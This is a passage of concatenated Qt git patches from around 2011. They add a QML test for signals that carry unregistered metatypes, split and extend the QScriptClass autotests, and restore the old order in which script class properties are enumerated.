copy is zero, a default type is copied. Returns true if the copy was diff --git a/src/declarative/qml/qdeclarativemetatype_p.h b/src/declarative/qml/qdeclarativemetatype_p.h index 0e4d61c..aab1c31 100644 --- a/src/declarative/qml/qdeclarativemetatype_p.h +++ b/src/declarative/qml/qdeclarativemetatype_p.h @@ -69,6 +69,7 @@ class QDeclarativeTypePrivate; class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeMetaType { public: + static bool canCopy(int type); static bool copy(int type, void *data, const void *copy = 0); static QList qmlTypeNames(); diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/signalWithUnknownTypes.qml b/tests/auto/declarative/qdeclarativeecmascript/data/signalWithUnknownTypes.qml new file mode 100644 index 0000000..49293ed --- /dev/null +++ b/tests/auto/declarative/qdeclarativeecmascript/data/signalWithUnknownTypes.qml @@ -0,0 +1,5 @@ +import Qt.test 1.0 + +MyQmlObject { + onSignalWithUnknownType: variantMethod(arg); +} diff --git a/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp b/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp index d7f0f42..7e63bd5 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp +++ b/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp @@ -125,6 +125,8 @@ void registerTypes() qmlRegisterExtendedType("Qt.test",1,0,"QWidget"); qmlRegisterType("Qt.test",1,0,"QPlainTextEdit"); + + qRegisterMetaType("MyQmlObject::MyType"); } #include "testtypes.moc" diff --git a/tests/auto/declarative/qdeclarativeecmascript/testtypes.h b/tests/auto/declarative/qdeclarativeecmascript/testtypes.h index fb54a54..081cc4c 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/testtypes.h +++ b/tests/auto/declarative/qdeclarativeecmascript/testtypes.h @@ -152,6 +152,11 @@ public: MyQmlObject *myinvokableObject; Q_INVOKABLE MyQmlObject *returnme() { return this; } + struct MyType { + int value; + }; + QVariant variant() const { return m_variant; } + signals: void basicSignal(); void argumentSignal(int a, QString b, qreal c); @@ -159,6 +164,7 @@ signals: void objectChanged(); void anotherBasicSignal(); void thirdBasicSignal(); + void signalWithUnknownType(const MyQmlObject::MyType &arg); public slots: void deleteMe() { delete this; } @@ -166,6 +172,7 @@ public slots: void method(int a) { if(a == 163) m_methodIntCalled = true; } void setString(const QString &s) { m_string = s; } void myinvokable(MyQmlObject *o) { myinvokableObject = o; } + void variantMethod(const QVariant &v) { m_variant = v; } private: friend class tst_qdeclarativeecmascript; @@ -178,6 +185,7 @@ private: int m_value; int m_resetProperty; QRegExp m_regExp; + QVariant m_variant; }; QML_DECLARE_TYPEINFO(MyQmlObject, QML_HAS_ATTACHED_PROPERTIES) @@ -898,6 +906,7 @@ QML_DECLARE_TYPE(MyRevisionedBaseClassRegistered) QML_DECLARE_TYPE(MyRevisionedBaseClassUnregistered) QML_DECLARE_TYPE(MyRevisionedClass) QML_DECLARE_TYPE(MyRevisionedSubclass) +Q_DECLARE_METATYPE(MyQmlObject::MyType) void registerTypes(); diff --git a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp index f66cd0b..b19b3c9 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp +++ b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp @@ -142,6 +142,7 @@ private slots: void compiled(); void numberAssignment(); void propertySplicing(); + void signalWithUnknownTypes(); void bug1(); void bug2(); @@ -2340,6 +2341,26 @@ void tst_qdeclarativeecmascript::propertySplicing() delete object; } +// QTBUG-16683 +void tst_qdeclarativeecmascript::signalWithUnknownTypes() +{ + QDeclarativeComponent component(&engine, TEST_FILE("signalWithUnknownTypes.qml")); + + MyQmlObject *object = qobject_cast(component.create()); + QVERIFY(object != 0); + + MyQmlObject::MyType type; + type.value = 0x8971123; + emit object->signalWithUnknownType(type); + + MyQmlObject::MyType result = qvariant_cast(object->variant()); + + QCOMPARE(result.value, type.value); + + + delete object; +} + // Test that assigning a null object works // Regressed with: df1788b4dbbb2826ae63f26bdf166342595343f4 void tst_qdeclarativeecmascript::nullObjectBinding() -- cgit v0.12 From a97a36aac550c175a2e2045ead55ad4d263a24ed Mon Sep 17 00:00:00 2001 From: Kent Hansen Date: Wed, 2 Feb 2011 08:02:04 +0100 Subject: Split QScriptClass autotest into smaller functions Task-number: QTBUG-16746 Reviewed-by: Jedrzej Nowacki --- tests/auto/qscriptclass/tst_qscriptclass.cpp | 446 ++++++++++++++------------- 1 file changed, 236 insertions(+), 210 deletions(-) diff --git a/tests/auto/qscriptclass/tst_qscriptclass.cpp b/tests/auto/qscriptclass/tst_qscriptclass.cpp index 16f09b6..2d6daec 100644 --- a/tests/auto/qscriptclass/tst_qscriptclass.cpp +++ b/tests/auto/qscriptclass/tst_qscriptclass.cpp @@ -65,10 +65,15 @@ public: private slots: void newInstance(); - void getAndSetProperty(); + void setScriptClassOfExistingObject(); + void setScriptClassOfNonQtScriptObject(); + void getAndSetPropertyFromCpp(); void getProperty_invalidValue(); void enumerate(); - void extension(); + void extension_None(); + void extension_Callable(); + void extension_Callable_construct(); + void extension_HasInstance(); void originalProperties1(); void originalProperties2(); void originalProperties3(); @@ -611,7 +616,12 @@ void tst_QScriptClass::newInstance() QCOMPARE(obj2.scriptClass(), (QScriptClass*)&cls); QVERIFY(!obj2.equals(obj1)); QVERIFY(!obj2.strictlyEquals(obj1)); +} +void tst_QScriptClass::setScriptClassOfExistingObject() +{ + QScriptEngine eng; + TestClass cls(&eng); QScriptValue obj3 = eng.newObject(); QCOMPARE(obj3.scriptClass(), (QScriptClass*)0); obj3.setScriptClass(&cls); @@ -625,7 +635,12 @@ void tst_QScriptClass::newInstance() TestClass cls2(&eng); obj3.setScriptClass(&cls2); QCOMPARE(obj3.scriptClass(), (QScriptClass*)&cls2); +} +void tst_QScriptClass::setScriptClassOfNonQtScriptObject() +{ + QScriptEngine eng; + TestClass cls(&eng); // undefined behavior really, but shouldn't crash QScriptValue arr = eng.newArray(); QVERIFY(arr.isArray()); @@ -639,7 +654,7 @@ void tst_QScriptClass::newInstance() QVERIFY(arr.isObject()); } -void tst_QScriptClass::getAndSetProperty() +void tst_QScriptClass::getAndSetPropertyFromCpp() { QScriptEngine eng; @@ -651,7 +666,9 @@ void tst_QScriptClass::getAndSetProperty() QScriptString bar = eng.toStringHandle("bar"); QScriptValue num(&eng, 123); - // should behave just like normal + // Initially our TestClass instances have no custom properties, + // and queryProperty() will always return false. + // Hence, the properties will be created as normal JS properties. for (int x = 0; x < 2; ++x) { QScriptValue &o = (x == 0) ? obj1 : obj2; for (int y = 0; y < 2; ++y) { @@ -828,229 +845,238 @@ void tst_QScriptClass::enumerate() } } -void tst_QScriptClass::extension() +void tst_QScriptClass::extension_None() { QScriptEngine eng; + TestClass cls(&eng); + cls.setCallableMode(TestClass::NotCallable); + QVERIFY(!cls.supportsExtension(QScriptClass::Callable)); + QVERIFY(!cls.supportsExtension(QScriptClass::HasInstance)); + QScriptValue obj = eng.newObject(&cls); + QVERIFY(!obj.call().isValid()); + QCOMPARE((int)cls.lastExtensionType(), -1); + QVERIFY(!obj.instanceOf(obj)); + QCOMPARE((int)cls.lastExtensionType(), -1); + QVERIFY(!obj.construct().isValid()); +} + +void tst_QScriptClass::extension_Callable() +{ + QScriptEngine eng; + TestClass cls(&eng); + cls.setCallableMode(TestClass::CallableReturnsSum); + QVERIFY(cls.supportsExtension(QScriptClass::Callable)); + + QScriptValue obj = eng.newObject(&cls); + eng.globalObject().setProperty("obj", obj); + obj.setProperty("one", QScriptValue(&eng, 1)); + obj.setProperty("two", QScriptValue(&eng, 2)); + obj.setProperty("three", QScriptValue(&eng, 3)); + // From C++ + cls.clearReceivedArgs(); { - TestClass cls(&eng); - cls.setCallableMode(TestClass::NotCallable); - QVERIFY(!cls.supportsExtension(QScriptClass::Callable)); - QVERIFY(!cls.supportsExtension(QScriptClass::HasInstance)); - QScriptValue obj = eng.newObject(&cls); - QVERIFY(!obj.call().isValid()); - QCOMPARE((int)cls.lastExtensionType(), -1); - QVERIFY(!obj.instanceOf(obj)); - QCOMPARE((int)cls.lastExtensionType(), -1); - QVERIFY(!obj.construct().isValid()); + QScriptValueList args; + args << QScriptValue(&eng, 4) << QScriptValue(&eng, 5); + QScriptValue ret = obj.call(obj, args); + QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); + QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); + QVERIFY(ret.isNumber()); + QCOMPARE(ret.toNumber(), qsreal(1+2+3+4+5)); } - // Callable + // From JS + cls.clearReceivedArgs(); { - TestClass cls(&eng); - cls.setCallableMode(TestClass::CallableReturnsSum); - QVERIFY(cls.supportsExtension(QScriptClass::Callable)); - - QScriptValue obj = eng.newObject(&cls); - eng.globalObject().setProperty("obj", obj); - obj.setProperty("one", QScriptValue(&eng, 1)); - obj.setProperty("two", QScriptValue(&eng, 2)); - obj.setProperty("three", QScriptValue(&eng, 3)); - // From C++ - cls.clearReceivedArgs(); - { - QScriptValueList args; - args << QScriptValue(&eng, 4) << QScriptValue(&eng, 5); - QScriptValue ret = obj.call(obj, args); - QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); - QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); - QVERIFY(ret.isNumber()); - QCOMPARE(ret.toNumber(), qsreal(15)); - } - // From JS - cls.clearReceivedArgs(); - { - QScriptValue ret = eng.evaluate("obj(4, 5)"); - QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); - QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); - QVERIFY(ret.isNumber()); - QCOMPARE(ret.toNumber(), qsreal(15)); - } + QScriptValue ret = eng.evaluate("obj(4, 5)"); + QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); + QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); + QVERIFY(ret.isNumber()); + QCOMPARE(ret.toNumber(), qsreal(1+2+3+4+5)); + } - cls.setCallableMode(TestClass::CallableReturnsArgument); - // From C++ - cls.clearReceivedArgs(); - { - QScriptValue ret = obj.call(obj, QScriptValueList() << 123); - QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); - QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); - QVERIFY(ret.isNumber()); - QCOMPARE(ret.toInt32(), 123); - } - cls.clearReceivedArgs(); - { - QScriptValue ret = obj.call(obj, QScriptValueList() << true); - QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); - QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); - QVERIFY(ret.isBoolean()); - QCOMPARE(ret.toBoolean(), true); - } - { - QScriptValue ret = obj.call(obj, QScriptValueList() << QString::fromLatin1("ciao")); - QVERIFY(ret.isString()); - QCOMPARE(ret.toString(), QString::fromLatin1("ciao")); - } - { - QScriptValue objobj = eng.newObject(); - QScriptValue ret = obj.call(obj, QScriptValueList() << objobj); - QVERIFY(ret.isObject()); - QVERIFY(ret.strictlyEquals(objobj)); - } - { - QScriptValue ret = obj.call(obj, QScriptValueList() << QScriptValue()); - QVERIFY(ret.isUndefined()); - } - // From JS - cls.clearReceivedArgs(); - { - QScriptValue ret = eng.evaluate("obj(123)"); - QVERIFY(ret.isNumber()); - QCOMPARE(ret.toInt32(), 123); - } + cls.setCallableMode(TestClass::CallableReturnsArgument); + // From C++ + cls.clearReceivedArgs(); + { + QScriptValue ret = obj.call(obj, QScriptValueList() << 123); + QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); + QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); + QVERIFY(ret.isNumber()); + QCOMPARE(ret.toInt32(), 123); + } + cls.clearReceivedArgs(); + { + QScriptValue ret = obj.call(obj, QScriptValueList() << true); + QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); + QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); + QVERIFY(ret.isBoolean()); + QCOMPARE(ret.toBoolean(), true); + } + { + QScriptValue ret = obj.call(obj, QScriptValueList() << QString::fromLatin1("ciao")); + QVERIFY(ret.isString()); + QCOMPARE(ret.toString(), QString::fromLatin1("ciao")); + } + { + QScriptValue objobj = eng.newObject(); + QScriptValue ret = obj.call(obj, QScriptValueList() << objobj); + QVERIFY(ret.isObject()); + QVERIFY(ret.strictlyEquals(objobj)); + } + { + QScriptValue ret = obj.call(obj, QScriptValueList() << QScriptValue()); + QVERIFY(ret.isUndefined()); + } + // From JS + cls.clearReceivedArgs(); + { + QScriptValue ret = eng.evaluate("obj(123)"); + QVERIFY(ret.isNumber()); + QCOMPARE(ret.toInt32(), 123); + } - cls.setCallableMode(TestClass::CallableReturnsInvalidVariant); - { - QScriptValue ret = obj.call(obj); - QVERIFY(ret.isUndefined()); - } + cls.setCallableMode(TestClass::CallableReturnsInvalidVariant); + { + QScriptValue ret = obj.call(obj); + QVERIFY(ret.isUndefined()); + } - cls.setCallableMode(TestClass::CallableReturnsThisObject); - // From C++ - { - QScriptValue ret = obj.call(obj); - QVERIFY(ret.isObject()); - QVERIFY(ret.strictlyEquals(obj)); - } - // From JS - { - QScriptValue ret = eng.evaluate("obj()"); - QVERIFY(ret.isObject()); - QVERIFY(ret.strictlyEquals(eng.globalObject())); - } + cls.setCallableMode(TestClass::CallableReturnsThisObject); + // From C++ + { + QScriptValue ret = obj.call(obj); + QVERIFY(ret.isObject()); + QVERIFY(ret.strictlyEquals(obj)); + } + // From JS + { + QScriptValue ret = eng.evaluate("obj()"); + QVERIFY(ret.isObject()); + QVERIFY(ret.strictlyEquals(eng.globalObject())); + } - cls.setCallableMode(TestClass::CallableReturnsCallee); - // From C++ - { - QScriptValue ret = obj.call(); - QVERIFY(ret.isObject()); - QVERIFY(ret.strictlyEquals(obj)); - } - // From JS - { - QScriptValue ret = eng.evaluate("obj()"); - QVERIFY(ret.isObject()); - QVERIFY(ret.strictlyEquals(obj)); - } + cls.setCallableMode(TestClass::CallableReturnsCallee); + // From C++ + { + QScriptValue ret = obj.call(); + QVERIFY(ret.isObject()); + QVERIFY(ret.strictlyEquals(obj)); + } + // From JS + { + QScriptValue ret = eng.evaluate("obj()"); + QVERIFY(ret.isObject()); + QVERIFY(ret.strictlyEquals(obj)); + } - cls.setCallableMode(TestClass::CallableReturnsArgumentsObject); - // From C++ - { - QScriptValue ret = obj.call(obj, QScriptValueList() << 123); - QVERIFY(ret.isObject()); - QVERIFY(ret.property("length").isNumber()); - QCOMPARE(ret.property("length").toInt32(), 1); - QVERIFY(ret.property(0).isNumber()); - QCOMPARE(ret.property(0).toInt32(), 123); - } - // From JS - { - QScriptValue ret = eng.evaluate("obj(123)"); - QVERIFY(ret.isObject()); - QVERIFY(ret.property("length").isNumber()); - QCOMPARE(ret.property("length").toInt32(), 1); - QVERIFY(ret.property(0).isNumber()); - QCOMPARE(ret.property(0).toInt32(), 123); - } + cls.setCallableMode(TestClass::CallableReturnsArgumentsObject); + // From C++ + { + QScriptValue ret = obj.call(obj, QScriptValueList() << 123); + QVERIFY(ret.isObject()); + QVERIFY(ret.property("length").isNumber()); + QCOMPARE(ret.property("length").toInt32(), 1); + QVERIFY(ret.property(0).isNumber()); + QCOMPARE(ret.property(0).toInt32(), 123); + } + // From JS + { + QScriptValue ret = eng.evaluate("obj(123)"); + QVERIFY(ret.isObject()); + QVERIFY(ret.property("length").isNumber()); + QCOMPARE(ret.property("length").toInt32(), 1); + QVERIFY(ret.property(0).isNumber()); + QCOMPARE(ret.property(0).toInt32(), 123); + } +} - // construct() - // From C++ - cls.clearReceivedArgs(); - cls.setCallableMode(TestClass::CallableReturnsGlobalObject); - { - QScriptValue ret = obj.construct(); - QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); - QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); - QVERIFY(ret.isObject()); - QVERIFY(ret.strictlyEquals(eng.globalObject())); - } - // From JS - cls.clearReceivedArgs(); - { - QScriptValue ret = eng.evaluate("new obj()"); - QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); - QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); - QVERIFY(ret.isObject()); - QVERIFY(ret.strictlyEquals(eng.globalObject())); - } - // From C++ - cls.clearReceivedArgs(); - cls.setCallableMode(TestClass::CallableInitializesThisObject); - { - QScriptValue ret = obj.construct(); - QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); - QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); - QVERIFY(ret.isQObject()); - QCOMPARE(ret.toQObject(), (QObject*)&eng); - } - // From JS - cls.clearReceivedArgs(); - { - QScriptValue ret = eng.evaluate("new obj()"); - QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); - QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); - QVERIFY(ret.isQObject()); - QCOMPARE(ret.toQObject(), (QObject*)&eng); - } +void tst_QScriptClass::extension_Callable_construct() +{ + QScriptEngine eng; + TestClass cls(&eng); + QScriptValue obj = eng.newObject(&cls); + eng.globalObject().setProperty("obj", obj); + + // From C++ + cls.clearReceivedArgs(); + cls.setCallableMode(TestClass::CallableReturnsGlobalObject); + { + QScriptValue ret = obj.construct(); + QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); + QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); + QVERIFY(ret.isObject()); + QVERIFY(ret.strictlyEquals(eng.globalObject())); } - // HasInstance + // From JS + cls.clearReceivedArgs(); { - TestClass cls(&eng); - cls.setHasInstance(true); - QVERIFY(cls.supportsExtension(QScriptClass::HasInstance)); + QScriptValue ret = eng.evaluate("new obj()"); + QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); + QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); + QVERIFY(ret.isObject()); + QVERIFY(ret.strictlyEquals(eng.globalObject())); + } + // From C++ + cls.clearReceivedArgs(); + cls.setCallableMode(TestClass::CallableInitializesThisObject); + { + QScriptValue ret = obj.construct(); + QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); + QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); + QVERIFY(ret.isQObject()); + QCOMPARE(ret.toQObject(), (QObject*)&eng); + } + // From JS + cls.clearReceivedArgs(); + { + QScriptValue ret = eng.evaluate("new obj()"); + QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); + QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); + QVERIFY(ret.isQObject()); + QCOMPARE(ret.toQObject(), (QObject*)&eng); + } +} + +void tst_QScriptClass::extension_HasInstance() +{ + QScriptEngine eng; + TestClass cls(&eng); + cls.setHasInstance(true); + QVERIFY(cls.supportsExtension(QScriptClass::HasInstance)); - QScriptValue obj = eng.newObject(&cls); - obj.setProperty("foo", QScriptValue(&eng, 123)); - QScriptValue plain = eng.newObject(); - QVERIFY(!plain.instanceOf(obj)); + QScriptValue obj = eng.newObject(&cls); + obj.setProperty("foo", QScriptValue(&eng, 123)); + QScriptValue plain = eng.newObject(); + QVERIFY(!plain.instanceOf(obj)); - eng.globalObject().setProperty("HasInstanceTester", obj); - eng.globalObject().setProperty("hasInstanceValue", plain); - cls.clearReceivedArgs(); - { - QScriptValue ret = eng.evaluate("hasInstanceValue instanceof HasInstanceTester"); - QCOMPARE(cls.lastExtensionType(), QScriptClass::HasInstance); - QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); - QScriptValueList lst = qvariant_cast(cls.lastExtensionArgument()); - QCOMPARE(lst.size(), 2); - QVERIFY(lst.at(0).strictlyEquals(obj)); - QVERIFY(lst.at(1).strictlyEquals(plain)); - QVERIFY(ret.isBoolean()); - QVERIFY(!ret.toBoolean()); - } + eng.globalObject().setProperty("HasInstanceTester", obj); + eng.globalObject().setProperty("hasInstanceValue", plain); + cls.clearReceivedArgs(); + { + QScriptValue ret = eng.evaluate("hasInstanceValue instanceof HasInstanceTester"); + QCOMPARE(cls.lastExtensionType(), QScriptClass::HasInstance); + QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); + QScriptValueList lst = qvariant_cast(cls.lastExtensionArgument()); + QCOMPARE(lst.size(), 2); + QVERIFY(lst.at(0).strictlyEquals(obj)); + QVERIFY(lst.at(1).strictlyEquals(plain)); + QVERIFY(ret.isBoolean()); + QVERIFY(!ret.toBoolean()); + } - plain.setProperty("foo", QScriptValue(&eng, 456)); - QVERIFY(!plain.instanceOf(obj)); - { - QScriptValue ret = eng.evaluate("hasInstanceValue instanceof HasInstanceTester"); - QVERIFY(ret.isBoolean()); - QVERIFY(!ret.toBoolean()); - } + plain.setProperty("foo", QScriptValue(&eng, 456)); + QVERIFY(!plain.instanceOf(obj)); + { + QScriptValue ret = eng.evaluate("hasInstanceValue instanceof HasInstanceTester"); + QVERIFY(ret.isBoolean()); + QVERIFY(!ret.toBoolean()); + } - plain.setProperty("foo", obj.property("foo")); - QVERIFY(plain.instanceOf(obj)); - { - QScriptValue ret = eng.evaluate("hasInstanceValue instanceof HasInstanceTester"); - QVERIFY(ret.isBoolean()); - QVERIFY(ret.toBoolean()); - } + plain.setProperty("foo", obj.property("foo")); + QVERIFY(plain.instanceOf(obj)); + { + QScriptValue ret = eng.evaluate("hasInstanceValue instanceof HasInstanceTester"); + QVERIFY(ret.isBoolean()); + QVERIFY(ret.toBoolean()); } } -- cgit v0.12 From 48f8d0cf20f8bcdb35bfc49057ad1fa768e66825 Mon Sep 17 00:00:00 2001 From: Kent Hansen Date: Wed, 2 Feb 2011 08:11:32 +0100 Subject: Bring back "classic" iteration order of QScriptClass properties In the old back-end, normal JS properties were iterated before QScriptClass properties. There wasn't any good reason to change that. Now we can get rid of that left-over XFAIL as well. Task-number: QTBUG-16746 Reviewed-by: Jedrzej Nowacki --- src/script/bridge/qscriptclassobject.cpp | 5 ++++- tests/auto/qscriptclass/tst_qscriptclass.cpp | 4 +++- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/src/script/bridge/qscriptclassobject.cpp b/src/script/bridge/qscriptclassobject.cpp index 9285883..2085756 100644 --- a/src/script/bridge/qscriptclassobject.cpp +++ b/src/script/bridge/qscriptclassobject.cpp @@ -183,6 +183,10 @@ void ClassObjectDelegate::getOwnPropertyNames(QScriptObject* object, JSC::ExecSt JSC::PropertyNameArray &propertyNames, JSC::EnumerationMode mode) { + // For compatibility with the old back-end, normal JS properties + // are added first. + QScriptObjectDelegate::getOwnPropertyNames(object, exec, propertyNames, mode); + QScriptEnginePrivate *engine = scriptEngineFromExec(exec); QScript::SaveFrameHelper saveFrame(engine, exec); QScriptValue scriptObject = engine->scriptValueFromJSCValue(object); @@ -195,7 +199,6 @@ void ClassObjectDelegate::getOwnPropertyNames(QScriptObject* object, JSC::ExecSt } delete it; } - QScriptObjectDelegate::getOwnPropertyNames(object, exec, propertyNames, mode); } JSC::CallType ClassObjectDelegate::getCallData(QScriptObject*, JSC::CallData &callData) diff --git a/tests/auto/qscriptclass/tst_qscriptclass.cpp b/tests/auto/qscriptclass/tst_qscriptclass.cpp index 2d6daec..00fdd35 100644 --- a/tests/auto/qscriptclass/tst_qscriptclass.cpp +++ b/tests/auto/qscriptclass/tst_qscriptclass.cpp @@ -823,10 +823,12 @@ void tst_QScriptClass::enumerate() cls.setIterationEnabled(true); QScriptValueIterator it(obj); + // This test relies on the order in which properties are enumerated, + // which we don't guarantee. However, for compatibility's sake we prefer + // that normal JS properties come before QScriptClass properties. for (int x = 0; x < 2; ++x) { QVERIFY(it.hasNext()); it.next(); - QEXPECT_FAIL("", "", Abort); QVERIFY(it.scriptName() == foo); QVERIFY(it.hasNext()); it.next(); -- cgit v0.12 From a7027e7ecc0bfc97030110105436fd5406256108 Mon Sep 17 00:00:00 2001 From: Kent Hansen Date: Wed, 2 Feb 2011 08:28:59 +0100 Subject: Improve QScriptClass test coverage Add tests for various kinds of property access from JS. Add tests for null-engine & using the same script class in two different engines. Task-number: QTBUG-16746 Reviewed-by: Jedrzej Nowacki --- tests/auto/qscriptclass/tst_qscriptclass.cpp | 149 ++++++++++++++++++++++++++- 1 file changed, 148 insertions(+), 1 deletion(-) diff --git a/tests/auto/qscriptclass/tst_qscriptclass.cpp b/tests/auto/qscriptclass/tst_qscriptclass.cpp index 00fdd35..5286a5a 100644 --- a/tests/auto/qscriptclass/tst_qscriptclass.cpp +++ b/tests/auto/qscriptclass/tst_qscriptclass.cpp @@ -68,6 +68,10 @@ private slots: void setScriptClassOfExistingObject(); void setScriptClassOfNonQtScriptObject(); void getAndSetPropertyFromCpp(); + void getAndSetPropertyFromJS(); + void deleteUndeletableProperty(); + void writeReadOnlyProperty(); + void writePropertyWithoutWriteAccess(); void getProperty_invalidValue(); void enumerate(); void extension_None(); @@ -79,6 +83,9 @@ private slots: void originalProperties3(); void originalProperties4(); void defaultImplementations(); + void scriptClassObjectInPrototype(); + void scriptClassWithNullEngine(); + void scriptClassInOtherEngine(); }; tst_QScriptClass::tst_QScriptClass() @@ -311,7 +318,12 @@ void TestClass::setProperty(QScriptValue &object, const QScriptString &name, CustomProperty *prop = findCustomProperty(name); if (!prop) return; - prop->value = value; + if (prop->pflags & QScriptValue::ReadOnly) + return; + if (!value.isValid()) // deleteProperty() requested + removeCustomProperty(name); + else + prop->value = value; } QScriptValue::PropertyFlags TestClass::propertyFlags( @@ -774,6 +786,80 @@ void tst_QScriptClass::getAndSetPropertyFromCpp() QVERIFY(!obj1.property(bar).isValid()); } +void tst_QScriptClass::getAndSetPropertyFromJS() +{ + QScriptEngine eng; + TestClass cls(&eng); + cls.addCustomProperty(eng.toStringHandle("x"), + QScriptClass::HandlesReadAccess + | QScriptClass::HandlesWriteAccess, + /*id=*/1, /*flags=*/0, /*value=*/123); + eng.globalObject().setProperty("o", eng.newObject(&cls)); + + // Accessing a custom property + QCOMPARE(eng.evaluate("o.x").toInt32(), 123); + QCOMPARE(eng.evaluate("o.x = 456; o.x").toInt32(), 456); + + // Accessing a new JS property + QVERIFY(eng.evaluate("o.y").isUndefined()); + QCOMPARE(eng.evaluate("o.y = 789; o.y").toInt32(), 789); + + // Deleting custom property + QVERIFY(eng.evaluate("delete o.x").toBool()); + QVERIFY(eng.evaluate("o.x").isUndefined()); + + // Deleting JS property + QVERIFY(eng.evaluate("delete o.y").toBool()); + QVERIFY(eng.evaluate("o.y").isUndefined()); +} + +void tst_QScriptClass::deleteUndeletableProperty() +{ + QScriptEngine eng; + TestClass cls(&eng); + cls.addCustomProperty(eng.toStringHandle("x"), QScriptClass::HandlesWriteAccess, + /*id=*/0, QScriptValue::Undeletable, QScriptValue()); + eng.globalObject().setProperty("o", eng.newObject(&cls)); + QVERIFY(!eng.evaluate("delete o.x").toBool()); +} + +void tst_QScriptClass::writeReadOnlyProperty() +{ + QScriptEngine eng; + TestClass cls(&eng); + cls.addCustomProperty(eng.toStringHandle("x"), + QScriptClass::HandlesReadAccess + | QScriptClass::HandlesWriteAccess, + /*id=*/0, QScriptValue::ReadOnly, 123); + eng.globalObject().setProperty("o", eng.newObject(&cls)); + // Note that if a property is read-only, the setProperty() + // reimplementation will still get called; it's up to that + // function to respect the ReadOnly flag. + QCOMPARE(eng.evaluate("o.x = 456; o.x").toInt32(), 123); +} + +void tst_QScriptClass::writePropertyWithoutWriteAccess() +{ + QScriptEngine eng; + TestClass cls(&eng); + cls.addCustomProperty(eng.toStringHandle("x"), + QScriptClass::HandlesReadAccess, + /*id=*/0, /*flags=*/0, 123); + eng.globalObject().setProperty("o", eng.newObject(&cls)); + QCOMPARE(eng.evaluate("o.x").toInt32(), 123); + + // This will create a JS property on the instance that + // shadows the custom property. + // This behavior is not documented. It might be more + // intuitive to treat a property that only handles read + // access as a read-only, non-shadowable property. + QCOMPARE(eng.evaluate("o.x = 456; o.x").toInt32(), 456); + + QVERIFY(eng.evaluate("delete o.x").toBool()); + // Now the custom property is seen again. + QCOMPARE(eng.evaluate("o.x").toInt32(), 123); +} + void tst_QScriptClass::getProperty_invalidValue() { QScriptEngine eng; @@ -1352,5 +1438,66 @@ void tst_QScriptClass::defaultImplementations() QVERIFY(!defaultClass.extension(QScriptClass::HasInstance).isValid()); } +void tst_QScriptClass::scriptClassObjectInPrototype() +{ + QScriptEngine eng; + TestClass cls(&eng); + QScriptValue plainObject = eng.newObject(); + QScriptValue classObject = eng.newObject(&cls); + plainObject.setPrototype(classObject); + QVERIFY(plainObject.prototype().equals(classObject)); + eng.globalObject().setProperty("plainObject", plainObject); + eng.globalObject().setProperty("classObject", classObject); + + QScriptString name = eng.toStringHandle("x"); + cls.addCustomProperty(name, QScriptClass::HandlesReadAccess, /*id=*/1, /*flags=*/0, /*value=*/123); + QVERIFY(plainObject.property(name).equals(classObject.property(name))); + QVERIFY(eng.evaluate("plainObject.x == classObject.x").toBool()); + + // Add a property that shadows the one in the script class. + plainObject.setProperty(name, 456); + QVERIFY(!plainObject.property(name).equals(classObject.property(name))); + QVERIFY(eng.evaluate("plainObject.x != classObject.x").toBool()); + + QVERIFY(eng.evaluate("delete plainObject.x").toBool()); + QVERIFY(eng.evaluate("plainObject.x == classObject.x").toBool()); +} + +void tst_QScriptClass::scriptClassWithNullEngine() +{ + QScriptClass cls(0); + QCOMPARE(cls.engine(), (QScriptEngine*)0); + QScriptEngine eng; + QScriptValue obj = eng.newObject(&cls); + QVERIFY(obj.isObject()); + QCOMPARE(obj.scriptClass(), &cls); + // The class could have been "bound" to the engine at this point, + // but it's currently not. + // This behavior is not documented and is subject to change. + QCOMPARE(cls.engine(), (QScriptEngine*)0); + // The engine pointer stored in the QScriptClass is not 